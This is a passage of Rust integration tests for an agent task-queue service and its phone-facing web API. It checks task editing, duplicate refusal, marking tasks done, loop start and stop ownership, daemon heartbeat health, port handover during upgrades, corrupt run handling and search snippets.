12267        task.runs.push("20260101-000000-beef".to_owned());
12268        queue.put(&mut task).expect("file the task");
12269        let created_at = task.created_at;
12270
12271        let edited = f
12272            .post(
12273                &format!("/api/queue/{}/edit", task.id),
12274                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12275            )
12276            .await;
12277        assert_eq!(edited.status, 200, "{}", edited.body);
12278        let body = edited.json();
12279        assert_eq!(body["title"], "new title");
12280        assert_eq!(body["instruction"], "new instruction");
12281        assert_eq!(body["id"], task.id, "editing must not mint a new id");
12282        assert_eq!(body["created_at"], created_at.to_string());
12283        assert_eq!(
12284            body["source"]["kind"], "agent",
12285            "editing a task an agent filed must not turn it human: {body}"
12286        );
12287        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12288
12289        let reloaded = queue.get(&task.id).expect("reload");
12290        assert_eq!(reloaded.title, "new title");
12291        assert_eq!(reloaded.instruction, "new instruction");
12292    }
12293
12294    #[tokio::test]
12295    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12296        // The judge is an agent now: a repo whose only agent answers
12297        // "duplicate" stands in for it, so the refusal is the judge's.
12298        let tmp = TempDir::new().expect("tempdir");
12299        let repo = tmp.path().join("repo");
12300        std::fs::create_dir_all(&repo).expect("repo dir");
12301        let judge = MOCK_AGENT_TOML.replace(
12302            "printf ok",
12303            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12304        );
12305        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12306        let f = Fixture::with_repo(repo.clone()).await;
12307        let queue = f.queue();
12308        let mut owner = Task::new(
12309            "owner".to_owned(),
12310            "review it".to_owned(),
12311            repo.clone(),
12312            Source::Human,
12313        );
12314        owner.review_branch = Some("magi/ab12/A".to_owned());
12315        queue.put(&mut owner).expect("file the owner");
12316        let mut task = Task::new(
12317            "draft".to_owned(),
12318            "old".to_owned(),
12319            repo.clone(),
12320            Source::Human,
12321        );
12322        queue.put(&mut task).expect("file the draft");
12323        let url = format!("/api/queue/{}/edit", task.id);
12324
12325        let refused = f
12326            .post(
12327                &url,
12328                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12329            )
12330            .await;
12331        assert_eq!(refused.status, 409, "{}", refused.body);
12332        let msg = refused.json()["error"]
12333            .as_str()
12334            .unwrap_or_default()
12335            .to_owned();
12336        assert!(
12337            msg.contains("magi/ab12/A") && msg.contains("force"),
12338            "{msg}"
12339        );
12340        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12341
12342        let forced = f
12343            .post(
12344                &url,
12345                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12346            )
12347            .await;
12348        assert_eq!(forced.status, 200, "{}", forced.body);
12349    }
12350
12351    #[tokio::test]
12352    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12353        let f = Fixture::start().await;
12354        let queue = f.queue();
12355        let mut task = Task::new(
12356            "in flight".to_owned(),
12357            "do not touch".to_owned(),
12358            PathBuf::from("/repo/magi"),
12359            Source::Human,
12360        );
12361        task.start("20260902-140502-bbbb".to_owned());
12362        queue.put(&mut task).expect("file the task");
12363
12364        let res = f
12365            .post(
12366                &format!("/api/queue/{}/edit", task.id),
12367                Some(r#"{"title":"x","instruction":"y"}"#),
12368            )
12369            .await;
12370        assert_eq!(res.status, 400, "{}", res.body);
12371        assert!(
12372            res.json()["error"]
12373                .as_str()
12374                .is_some_and(|e| e.contains("running")),
12375            "{}",
12376            res.body
12377        );
12378        assert_eq!(
12379            queue.get(&task.id).expect("reload").instruction,
12380            "do not touch",
12381            "the refused edit must not change the file"
12382        );
12383    }
12384
12385    #[tokio::test]
12386    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12387        let f = Fixture::start().await;
12388        let queue = f.queue();
12389        let mut task = Task::new(
12390            "busy".to_owned(),
12391            "Running right now".to_owned(),
12392            PathBuf::from("/repo/magi"),
12393            Source::Human,
12394        );
12395        queue.put(&mut task).expect("file the task");
12396        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12397
12398        let priority = f
12399            .post(
12400                &format!("/api/queue/{}/priority", task.id),
12401                Some(r#"{"priority":9}"#),
12402            )
12403            .await;
12404        assert_eq!(priority.status, 409, "{}", priority.body);
12405
12406        let edit = f
12407            .post(
12408                &format!("/api/queue/{}/edit", task.id),
12409                Some(r#"{"title":"x","instruction":"y"}"#),
12410            )
12411            .await;
12412        assert_eq!(edit.status, 409, "{}", edit.body);
12413    }
12414
12415    #[tokio::test]
12416    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
12417        let f = Fixture::start().await;
12418        let queue = f.queue();
12419        let mut task = Task::new(
12420            "shipped by hand".to_owned(),
12421            "merged outside the loop".to_owned(),
12422            PathBuf::from("/repo/magi"),
12423            Source::Agent {
12424                run: "20260101-000000-b455".to_owned(),
12425                node: "implement".to_owned(),
12426            },
12427        );
12428        task.runs.push("20260101-000000-b455".to_owned());
12429        task.runs.push("20260101-000000-9af4".to_owned());
12430        queue.put(&mut task).expect("file the task");
12431        let created_at = task.created_at;
12432
12433        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12434        assert_eq!(done.status, 200, "{}", done.body);
12435        assert_eq!(done.json()["status_str"], "done");
12436
12437        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
12438        assert_eq!(
12439            reloaded.runs,
12440            ["20260101-000000-b455", "20260101-000000-9af4"]
12441        );
12442        assert_eq!(
12443            reloaded.source,
12444            Source::Agent {
12445                run: "20260101-000000-b455".to_owned(),
12446                node: "implement".to_owned(),
12447            }
12448        );
12449        assert_eq!(reloaded.created_at, created_at);
12450    }
12451
12452    #[tokio::test]
12453    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
12454        // `done` is allowed on any status, including `held`, with no release
12455        // in between - so a task held for a reason and then closed directly
12456        // must not keep reading as "waiting on" it afterwards, on its card or
12457        // in `magi task show`.
12458        let f = Fixture::start().await;
12459        let queue = f.queue();
12460        let mut task = Task::new(
12461            "landed while held".to_owned(),
12462            "x".to_owned(),
12463            PathBuf::from("/repo/magi"),
12464            Source::Human,
12465        );
12466        task.hold_manual(Some("waiting on 3ed9".to_owned()));
12467        queue.put(&mut task).expect("file the held task");
12468
12469        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12470        assert_eq!(done.status, 200, "{}", done.body);
12471        assert_eq!(done.json()["status_str"], "done");
12472        assert!(
12473            done.json()["hold_reason"].is_null(),
12474            "a done task cannot still be waiting on something: {}",
12475            done.body
12476        );
12477    }
12478
12479    #[tokio::test]
12480    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
12481        // `queue_done` is the phone's way to close a task the loop never
12482        // settled itself - after confirming a manual GitHub merge, say - and
12483        // that is just as much "this task's story is over" as the loop's own
12484        // `Merged`/`Ready` path, so it must trigger the same cleanup.
12485        let f = Fixture::start().await;
12486        let queue = f.queue();
12487        let runs = f.runs();
12488        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
12489        // The last attempt has to have actually landed for the earlier one
12490        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
12491        // for the case where it didn't.
12492        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
12493
12494        let mut task = Task::new(
12495            "landed by hand".to_owned(),
12496            "x".to_owned(),
12497            PathBuf::from("/repo/magi"),
12498            Source::Human,
12499        );
12500        task.runs.push("20260101-000000-doa1".to_owned());
12501        task.runs.push("20260101-000000-doa2".to_owned());
12502        queue.put(&mut task).expect("file the task");
12503
12504        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12505        assert_eq!(done.status, 200, "{}", done.body);
12506
12507        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
12508            .expect("run still on disk under this fixture's own home");
12509        assert_eq!(
12510            reloaded_run.status,
12511            RunStatus::Superseded,
12512            "closing the task by hand must relabel the earlier blocked attempt exactly \
12513             like the loop's own settle path does"
12514        );
12515    }
12516
12517    #[tokio::test]
12518    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
12519        // Closing a task by hand is allowed from any status, including one
12520        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
12521        // manual merge the loop never watched, say. Nothing here is provably
12522        // why the task is done, so nothing earlier gets relabelled either.
12523        let f = Fixture::start().await;
12524        let queue = f.queue();
12525        let runs = f.runs();
12526        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
12527        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
12528
12529        let mut task = Task::new(
12530            "closed with nothing actually landed".to_owned(),
12531            "x".to_owned(),
12532            PathBuf::from("/repo/magi"),
12533            Source::Human,
12534        );
12535        task.runs.push("20260101-000000-dob1".to_owned());
12536        task.runs.push("20260101-000000-dob2".to_owned());
12537        queue.put(&mut task).expect("file the task");
12538
12539        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12540        assert_eq!(done.status, 200, "{}", done.body);
12541
12542        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
12543            .expect("run still on disk under this fixture's own home");
12544        assert_eq!(
12545            reloaded_run.status,
12546            RunStatus::Blocked,
12547            "the last recorded attempt never landed, so the earlier one must not be \
12548             relabelled as superseded by it"
12549        );
12550    }
12551
12552    #[tokio::test]
12553    async fn unknown_ids_are_json_not_found_on_both_stores() {
12554        let f = Fixture::start().await;
12555
12556        let run = f.get("/api/runs/nosuchrun").await;
12557        let task = f.post("/api/queue/nosuchtask/hold", None).await;
12558
12559        assert_eq!(run.status, 404);
12560        assert_eq!(task.status, 404);
12561        assert!(
12562            run.json()["error"]
12563                .as_str()
12564                .is_some_and(|e| e.contains("run")),
12565            "the error names what was not found: {}",
12566            run.body
12567        );
12568        assert!(
12569            task.json()["error"]
12570                .as_str()
12571                .is_some_and(|e| e.contains("task")),
12572            "the error names what was not found: {}",
12573            task.body
12574        );
12575    }
12576
12577    #[tokio::test]
12578    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
12579        let f = Fixture::start().await;
12580
12581        let missing = f.get("/api/health").await.json();
12582        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
12583
12584        write_daemon(
12585            f.home.path(),
12586            Timestamp::now() - jiff::SignedDuration::from_secs(60),
12587        );
12588        let stale = f.get("/api/health").await.json();
12589        assert_eq!(
12590            stale["daemon"]["running"], false,
12591            "a minute without a heartbeat is a dead daemon, not a busy one"
12592        );
12593        assert!(
12594            stale["daemon"]["stale_for_secs"]
12595                .as_i64()
12596                .is_some_and(|s| s >= 55),
12597            "staleness is reported so the UI can say how long: {stale}"
12598        );
12599
12600        write_daemon(f.home.path(), Timestamp::now());
12601        let fresh = f.get("/api/health").await.json();
12602        assert_eq!(fresh["daemon"]["running"], true);
12603        assert_eq!(fresh["daemon"]["idle"], false);
12604        assert_eq!(fresh["daemon"]["pid"], 4242);
12605        assert_eq!(fresh["daemon"]["completed"], 7);
12606        assert_eq!(
12607            fresh["daemon"]["current"][0]["task"],
12608            "20260902-140501-aaaa"
12609        );
12610        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
12611    }
12612
12613    #[tokio::test]
12614    async fn the_loop_is_not_running_until_something_starts_it() {
12615        let f = Fixture::start().await;
12616
12617        let view = f.get("/api/loop").await.json();
12618        assert_eq!(view["running"], false);
12619        assert_eq!(
12620            view["owned"], false,
12621            "nobody owns a loop that does not exist: {view}"
12622        );
12623        assert_eq!(view["stopping"], false);
12624        assert_eq!(view["last_error"], Value::Null);
12625        assert_eq!(view["daemon"]["running"], false);
12626        assert_eq!(
12627            view["repo"], "/repo/magi",
12628            "the repository a start would use, named before it is started"
12629        );
12630    }
12631
12632    #[tokio::test]
12633    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
12634        let f = Fixture::start().await;
12635
12636        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12637        assert_eq!(res.status, 200, "{}", res.body);
12638        let view = res.json();
12639        assert_eq!(view["running"], true);
12640        assert_eq!(
12641            view["owned"], true,
12642            "the loop the UI started is the UI's own to stop: {view}"
12643        );
12644        assert_eq!(
12645            view["merge"],
12646            Value::Null,
12647            "no override was given, so each repository's own config decides"
12648        );
12649
12650        // The same object from the route a waking phone polls first. Two
12651        // surfaces disagreeing about whether anything is running is exactly
12652        // the confusion this UI exists to remove.
12653        let health = f.get("/api/health").await.json();
12654        assert_eq!(health["loop"]["running"], true, "{health}");
12655        assert_eq!(health["loop"]["owned"], true, "{health}");
12656
12657        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12658    }
12659
12660    #[tokio::test]
12661    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
12662        let f = Fixture::start().await;
12663        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12664        assert_eq!(first.status, 200, "{}", first.body);
12665
12666        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12667        assert_eq!(
12668            again.status, 409,
12669            "two loops on one queue race for the same claims: {}",
12670            again.body
12671        );
12672        assert!(
12673            again.json()["error"]
12674                .as_str()
12675                .is_some_and(|e| e.contains("already running the loop")),
12676            "the refusal has to say why: {}",
12677            again.body
12678        );
12679        assert_eq!(
12680            f.get("/api/loop").await.json()["running"],
12681            true,
12682            "and the loop that was already running is untouched by it"
12683        );
12684
12685        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12686    }
12687
12688    #[tokio::test]
12689    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
12690        let f = Fixture::start().await;
12691        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12692
12693        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12694        assert_eq!(
12695            res.status, 200,
12696            "the answer must not wait for the loop: a run in flight is tens of \
12697             minutes and the operator is holding a phone: {}",
12698            res.body
12699        );
12700
12701        let view = settled(&f, |v| v["running"] == false).await;
12702        assert_eq!(view["owned"], false);
12703        assert_eq!(
12704            view["stopping"], false,
12705            "a loop that has stopped is not still stopping: {view}"
12706        );
12707        assert_eq!(
12708            view["last_error"],
12709            Value::Null,
12710            "a loop that was asked to stop did not fail: {view}"
12711        );
12712
12713        // Idempotent, because the operator cannot tell a slow stop from a lost
12714        // one and will press it again.
12715        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12716        assert_eq!(twice.status, 200, "{}", twice.body);
12717    }
12718
12719    #[tokio::test]
12720    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
12721        let f = Fixture::start().await;
12722        // How the operator has been doing it: a `magi serve` of their own,
12723        // heartbeat fresh, in the same home this UI reads.
12724        write_daemon(f.home.path(), Timestamp::now());
12725
12726        let view = f.get("/api/loop").await.json();
12727        assert_eq!(view["running"], false, "not in this process: {view}");
12728        assert_eq!(view["owned"], false, "and not this process's to control");
12729        assert_eq!(
12730            view["daemon"]["running"], true,
12731            "but a loop is alive somewhere, which is what the UI must say"
12732        );
12733        assert_eq!(view["daemon"]["pid"], 4242);
12734
12735        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
12736            let res = f.post("/api/loop", Some(body)).await;
12737            assert_eq!(
12738                res.status, 409,
12739                "neither button may pretend to work on someone else's loop: {}",
12740                res.body
12741            );
12742            assert!(
12743                res.json()["error"]
12744                    .as_str()
12745                    .is_some_and(|e| e.contains("4242")),
12746                "the refusal has to name the process the operator must go to: {}",
12747                res.body
12748            );
12749        }
12750        assert_eq!(
12751            f.get("/api/loop").await.json()["running"],
12752            false,
12753            "and the refusal started nothing"
12754        );
12755    }
12756
12757    #[tokio::test]
12758    async fn a_stale_status_file_is_not_a_foreign_owner() {
12759        let f = Fixture::start().await;
12760        write_daemon(
12761            f.home.path(),
12762            Timestamp::now() - jiff::SignedDuration::from_secs(60),
12763        );
12764
12765        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12766        assert_eq!(
12767            res.status, 200,
12768            "a daemon killed a minute ago must not lock the loop out of its \
12769             own home for good: {}",
12770            res.body
12771        );
12772        assert_eq!(res.json()["running"], true);
12773
12774        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12775    }
12776
12777    #[tokio::test]
12778    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
12779        let f = Fixture::start().await;
12780        let before = f.get("/api/health").await.json()["loop_rev"]
12781            .as_u64()
12782            .expect("a loop revision");
12783
12784        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12785
12786        let after = f.get("/api/health").await.json()["loop_rev"]
12787            .as_u64()
12788            .expect("a loop revision");
12789        assert!(
12790            after > before,
12791            "the loop is in-process state, so this counter is the only thing \
12792             that tells a second device the first one started it: {before} -> \
12793             {after}"
12794        );
12795
12796        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12797    }
12798
12799    #[tokio::test]
12800    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
12801        let f = Fixture::with_loop(launch_broken).await;
12802
12803        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12804        assert_eq!(
12805            res.status, 200,
12806            "starting it is not the failure: {}",
12807            res.body
12808        );
12809
12810        let view = settled(&f, |v| v["last_error"].is_string()).await;
12811        assert_eq!(
12812            view["running"], false,
12813            "a loop that died must not read as running, or the operator has \
12814             nothing to press: {view}"
12815        );
12816        assert_eq!(view["owned"], false);
12817        assert!(
12818            view["last_error"]
12819                .as_str()
12820                .is_some_and(|e| e.contains("read-only file system")),
12821            "the phone is where a loop that died at 3am is visible: {view}"
12822        );
12823
12824        // And it can be started again: the corpse was reaped, not left to
12825        // occupy the slot.
12826        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12827        assert_eq!(again.status, 200, "{}", again.body);
12828        assert!(
12829            again.json()["last_error"]
12830                .as_str()
12831                .is_none_or(|e| !e.contains("read-only file system")),
12832            "a fresh start does not keep showing why the last one died: {}",
12833            again.body
12834        );
12835    }
12836
12837    /// An upgrade parks the run in flight before it restarts, and a park waits
12838    /// for the node - up to `timeout_implement`, an hour by default. The deck
12839    /// has to answer for all of it: the operator has just been told a run is
12840    /// finishing first, and this address is the only place that says how it is
12841    /// going. It did not, once - the listener went with the `select!` arm that
12842    /// began the handover, and the phone got `Cannot reach magi: Failed to
12843    /// fetch` for the rest of the wave.
12844    ///
12845    /// The other half is the older rule: the address must be free *before* the
12846    /// successor is started, or it dies on "address already in use" with its
12847    /// stdio sent to null and the deck never comes back.
12848    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12849    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12850        let home = TempDir::new().expect("temp home");
12851        let runs = home.path().join("runs");
12852        std::fs::create_dir_all(&runs).expect("runs dir");
12853        let ui = Ui::new(
12854            Queue::at(home.path().join("queue")),
12855            Questions::at(home.path().join("questions")),
12856            Talks::at(home.path().join("talks")),
12857            runs,
12858            home.path().to_path_buf(),
12859            PathBuf::from("/repo/magi"),
12860        )
12861        .with_worktrees_root(home.path().join("wt"))
12862        .with_launch(launch_knocking_on_the_way_out);
12863        let looping = ui.looping();
12864        let turns = ui.turns();
12865        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12866            .await
12867            .expect("bind loopback");
12868        let addr = listener.local_addr().expect("local addr");
12869        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12870        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12871
12872        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12873        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12874
12875        // The successor's whole job, and the one thing it cannot do while this
12876        // process still holds the socket.
12877        //
12878        // One bind is not enough, and the reason is not this process's order of
12879        // operations: aborting the accept loop drops the listener, but axum
12880        // serves each accepted connection on a task of its own, and those are
12881        // not aborted. The requests above left sockets on this very address,
12882        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
12883        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
12884        // Production absorbs that in `bind_waiting`; so does this. Only
12885        // `AddrInUse` is retried, and the listener is released before the
12886        // closure returns - were the order wrong, the listener would outlive
12887        // the closure and every attempt would fail. Inferred from the bind
12888        // rules and the code; not reproduced on macOS.
12889        let bound = std::sync::Mutex::new(None);
12890        hand_over(
12891            home.path(),
12892            &looping,
12893            &turns,
12894            &|_: &[String]| Duration::from_secs(5),
12895            served,
12896            |_| {
12897                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12898                let attempt = loop {
12899                    match std::net::TcpListener::bind(addr) {
12900                        Ok(l) => {
12901                            drop(l);
12902                            break Ok(());
12903                        }
12904                        Err(e)
12905                            if e.kind() == std::io::ErrorKind::AddrInUse
12906                                && std::time::Instant::now() < deadline =>
12907                        {
12908                            std::thread::sleep(std::time::Duration::from_millis(10));
12909                        }
12910                        Err(e) => break Err(e.to_string()),
12911                    }
12912                };
12913                *bound.lock().expect("bound") = Some(attempt);
12914                Ok(1)
12915            },
12916        )
12917        .await
12918        .expect("hand over");
12919
12920        assert_eq!(
12921            *PARK_HEARD.lock().expect("park heard"),
12922            Some(200),
12923            "the deck must answer while the loop is parking"
12924        );
12925        let attempt = bound
12926            .lock()
12927            .expect("bound")
12928            .take()
12929            .expect("the successor was started");
12930        assert!(
12931            attempt.is_ok(),
12932            "and the address must be free by the time it is: {attempt:?}"
12933        );
12934    }
12935
12936    #[tokio::test]
12937    async fn a_newer_daemon_status_file_still_renders() {
12938        let f = Fixture::start().await;
12939        // A field this build has never heard of must not turn the status line
12940        // into a 500; that is the whole reason the reader is permissive.
12941        std::fs::write(
12942            f.home.path().join("daemon.json"),
12943            serde_json::json!({
12944                "schema": 2,
12945                "updated_at": Timestamp::now().to_string(),
12946                "idle": true,
12947                "surprise": { "nested": [1, 2, 3] },
12948            })
12949            .to_string(),
12950        )
12951        .expect("write daemon.json");
12952
12953        let health = f.get("/api/health").await;
12954
12955        assert_eq!(health.status, 200);
12956        assert_eq!(health.json()["daemon"]["running"], true);
12957    }
12958
12959    #[tokio::test]
12960    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12961        let f = Fixture::start().await;
12962        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12963        let broken = f.runs().join("20260902-140502-bad");
12964        std::fs::create_dir_all(&broken).expect("run dir");
12965        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12966
12967        let list = f.get("/api/runs").await;
12968        let detail = f.get("/api/runs/20260902-140502-bad").await;
12969
12970        assert_eq!(list.status, 200);
12971        let listed = list.json();
12972        let ids: Vec<&str> = listed
12973            .as_array()
12974            .expect("an array")
12975            .iter()
12976            .map(|r| r["id"].as_str().expect("an id"))
12977            .collect();
12978        assert_eq!(
12979            ids,
12980            vec!["20260902-140501-good"],
12981            "one unreadable run must not cost the operator the whole history"
12982        );
12983        assert_eq!(detail.status, 500);
12984        assert!(
12985            detail.json()["error"]
12986                .as_str()
12987                .is_some_and(|e| e.contains("run.json")),
12988            "the failure names the file to look at: {}",
12989            detail.body
12990        );
12991        // A skipped run has to be countable somewhere, or the UI shows an
12992        // empty history with nothing to explain it - which is exactly what a
12993        // directory full of older-schema runs looks like.
12994        let health = f.get("/api/health").await;
12995        assert_eq!(health.json()["runs_unreadable"], 1);
12996    }
12997
12998    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
12999    #[tokio::test]
13000    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13001        let f = Fixture::start().await;
13002        let runs = f.runs();
13003        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13004        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13005        // Text three levels down, in a shape no current RunState has: an older
13006        // schema must still search.
13007        let path = runs.join("20260902-140502-bbbb").join("run.json");
13008        let mut v: serde_json::Value =
13009            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13010        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13011        std::fs::write(&path, v.to_string()).unwrap();
13012        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13013        std::fs::write(
13014            runs.join("20260902-140503-cccc").join("run.json"),
13015            "{ not json",
13016        )
13017        .unwrap();
13018
13019        let res = f.get("/api/search?scope=runs&q=quokka").await;
13020        assert_eq!(res.status, 200, "{}", res.body);
13021        let v = res.json();
13022        assert_eq!(v["total"], 1, "{v}");
13023        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13024        assert_eq!(v["hits"][0]["field"], "text");
13025        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13026        let parts = v["hits"][0]["snippet"].as_array().unwrap();
13027        assert!(
13028            parts
13029                .iter()
13030                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13031            "{v}"
13032        );
13033        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13034        assert_eq!(
13035            flat, "The Quokka leaks across threads",
13036            "whitespace is collapsed"
13037        );
13038
13039        // Terms are ANDed, across different fields, case-insensitively.
13040        let both = f
13041            .get("/api/search?scope=runs&q=MOBILE%20quokka")
13042            .await
13043            .json();
13044        assert_eq!(both["total"], 1, "{both}");
13045        let neither = f
13046            .get("/api/search?scope=runs&q=quokka%20zebra")
13047            .await
13048            .json();
13049        assert_eq!(neither["total"], 0, "{neither}");
13050        // Everything in the task statement is reachable, not only the row text.
13051        let stmt = f
13052            .get("/api/search?scope=runs&q=mobile%20first")
13053            .await
13054            .json();
13055        assert_eq!(stmt["total"], 2, "{stmt}");
13056        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13057        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13058    }
13059
13060    #[test]
13061    fn snippet_ignores_terms_longer_than_the_field() {
13062        let terms = ["ok".to_owned(), "elephant".to_owned()];
13063        let parts = snippet_of("ok", &terms);
13064        assert_eq!(
13065            parts,
13066            vec![SnippetPart {
13067                text: "ok".to_owned(),
13068                hit: true
13069            }]
13070        );
13071    }
13072
13073    #[test]
13074    fn snippet_marks_matches_longer_than_the_window() {
13075        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13076        let hit_len = |parts: &[SnippetPart]| -> usize {
13077            parts
13078                .iter()
13079                .filter(|p| p.hit)
13080                .map(|p| p.text.chars().count())
13081                .sum()
13082        };
13083        let total =
13084            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13085
13086        let long = "a".repeat(120);
13087        let parts = snippet_of(&long, std::slice::from_ref(&long));
13088        assert!(hit_len(&parts) > 0, "{parts:?}");
13089        assert!(total(&parts) <= cap);
13090
13091        let ja = "あ".repeat(130);
13092        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13093        assert!(hit_len(&parts) > 0, "{parts:?}");
13094        assert!(total(&parts) <= cap);
13095
13096        // A short hit, then one straddling the window's end.
13097        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13098        let term = format!("ab{}", "c".repeat(100));
13099        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13100        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13101        assert!(total(&parts) <= cap);
13102
13103        // Only the head matches: not highlighted.
13104        let text = format!("{}z", "a".repeat(119));
13105        let parts = snippet_of(&text, &["a".repeat(120)]);
13106        assert_eq!(hit_len(&parts), 0, "{parts:?}");
13107    }
13108
13109    #[tokio::test]
13110    async fn search_caps_hits_and_snippet_length() {
13111        let f = Fixture::start().await;
13112        let runs = f.runs();
13113        for n in 0..(SEARCH_MAX_HITS + 5) {
13114            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13115        }
13116        let v = f.get("/api/search?scope=runs&q=web").await.json();
13117        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13118        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13119        assert_eq!(v["truncated"], true);
13120        // Every listed run hit carries its list row for the page's filters.
13121        assert!(
13122            v["hits"]
13123                .as_array()
13124                .unwrap()
13125                .iter()
13126                .all(|h| h["run"]["status"] == "merged")
13127        );
13128
13129        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13130        let parts = snippet_of(&long, &["needle".to_owned()]);
13131        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13132        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13133        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13134    }
13135
13136    #[tokio::test]
13137    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13138        let f = Fixture::start().await;
13139        let queue = f.queue();
13140        let mut t = Task::new(
13141            "short title".to_owned(),
13142            "line one\nthe hidden Armadillo detail".to_owned(),
13143            PathBuf::from("/repo/magi"),
13144            Source::Agent {
13145                run: "r1".to_owned(),
13146                node: "chat".to_owned(),
13147            },
13148        );
13149        t.last_error = Some("disk full on /tmp".to_owned());
13150        queue.put(&mut t).expect("file the task");
13151
13152        for (q, want) in [
13153            ("armadillo", 1),
13154            ("disk%20FULL", 1),
13155            ("chat", 1),
13156            ("queued", 1),
13157            ("short%20nothing", 0),
13158        ] {
13159            let v = f
13160                .get(&format!("/api/search?scope=tasks&q={q}"))
13161                .await
13162                .json();
13163            assert_eq!(v["total"], want, "{q}: {v}");
13164        }
13165        for bad in [
13166            "/api/search?scope=tasks&q=",
13167            "/api/search?scope=tasks&q=%20",
13168            "/api/search?scope=chats&q=",
13169            "/api/search?scope=chats&q=%20",
13170            "/api/search?scope=nope&q=a",
13171            "/api/search?q=a",
13172        ] {
13173            assert_eq!(f.get(bad).await.status, 400, "{bad}");
13174        }
